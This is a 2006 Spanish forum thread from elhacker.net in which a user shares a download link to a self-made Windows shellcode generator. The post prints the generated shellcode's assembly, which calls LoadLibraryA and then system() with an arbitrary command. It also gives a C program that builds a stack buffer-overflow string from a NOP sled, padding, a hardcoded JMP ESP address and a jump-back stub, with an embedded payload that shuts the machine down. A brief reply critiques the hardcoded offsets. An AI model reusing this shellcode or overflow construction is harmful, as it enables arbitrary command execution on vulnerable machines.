elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 12:41  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Generador de ShellCodes
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Generador de ShellCodes  (Leído 1,567 veces)
txomin

Desconectado Desconectado

Mensajes: 62



Ver Perfil
Generador de ShellCodes
« en: 25 Agosto 2006, 23:01 »

http://www.galeon.com/jlm/ShellCodes.rar
aquí les dejo un generador de shellcodes echo por mi. las shellcodes q genera acen LoadLibraryA a msvcrt.dll y luego usan system para ejecutar cualquier argumento.
Las shellcodes generadas son de la forma:
Código:
mov ebp,esp
xor edi,edi
sub esp,0Ch
mov dword ptr [ebp-0Ch],6376736Dh
mov dword ptr [ebp-08h],642E7472h
mov dword ptr [ebp-04h],01016C6Ch
mov [ebp-02h],edi
lea eax,[ebp-0Ch]
push eax
mov ebx,7C801D77h
call ebx
sub esp,0Ch //esto lo cambia el generador segun la longitud del argumento
mov dword ptr [ebp-0Ch],65676572h
mov dword ptr [ebp-08h],2E746964h
mov dword ptr [ebp-04h],01657865h //depende de la divisibilidad por 4 el generador pondra mas o menos 01 al final
mov [ebp-01h],edi
lea eax,[ebp-0Ch] //esto tb depende de la longitud del argumento
push eax
mov ebx,0x77bf93c7
call ebx
el generador lo q deja elegir son los offsets de LoadLibraryA y de system y tambien el argumento de system.

un programa para provar una shellcode echa con este generador podria ser:
Código:
#include <stdio.h> 
#include <string.h>
#include <windows.h>
int main()
{
char buffer[512];
    char ShellCodeParaEjecutar[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x8B\xEC\x33\xFF\x83\xEC\x0C\xC7\x45\xF4\x6D\x73\x76\x63\xC7\x45\xF8\x72\x74\x2E\x64\xC7\x45\xFC\x6C\x6C\x01\x01\x66\x89\x7D\xFE\x8D\x45\xF4\x50\xBB\x77\x1D\x80\x7C\xFF\xD3\x83\xEC\x40\xC7\x45\xC0\x73\x68\x75\x74\xC7\x45\xC4\x64\x6F\x77\x6E\xC7\x45\xC8\x20\x2D\x73\x20\xC7\x45\xCC\x2D\x63\x20\x22\xC7\x45\xD0\x48\x6F\x6C\x61\xC7\x45\xD4\x2C\x20\x65\x73\xC7\x45\xD8\x74\x6F\x20\x65\xC7\x45\xDC\x73\x20\x75\x6E\xC7\x45\xE0\x61\x20\x53\x68\xC7\x45\xE4\x65\x6C\x6C\x43\xC7\x45\xE8\x6F\x64\x65\x20\xC7\x45\xEC\x64\x65\x20\x4E\xC7\x45\xF0\x49\x4D\x4F\x58\xC7\x45\xF4\x54\x22\x20\x2D\xC7\x45\xF8\x74\x20\x35\x30\xC7\x45\xFC\x30\x01\x01\x01\x89\x7D\xFD\x8D\x45\xC0\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";
char Basura[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA????";
char OffsetParaSaltar[]= "\xED\x1E\x95\x7C";
    char ShellCodeParaSaltar[]="\x8B\xC4\x80\xEC\x02\x8B\xE0\xFF\xE4";
char StringMalicioso[1024];
    strcpy( StringMalicioso,ShellCodeParaEjecutar);
    strcat( StringMalicioso, Basura );
    strcat( StringMalicioso, OffsetParaSaltar );
    strcat( StringMalicioso, ShellCodeParaSaltar );
printf("Empezemos la ShellCode ahora:\n");
strcpy (buffer, StringMalicioso);
return 0;
}
offset para saltar sera el ofset de un JMP ESP,shellcode para saltar resta 512 a ESP y salta a ESP para ponernos al principio del buffer.
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Generador de ShellCodes
« Respuesta #1 en: 27 Agosto 2006, 08:09 »

usas offsets hardocdeados o absolutos..
por lo que solo sirve, para cierto SO..

seria mas eficiente hacerlo exportable, pero, fuera de eso, muy bien ;)

Saludos!!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines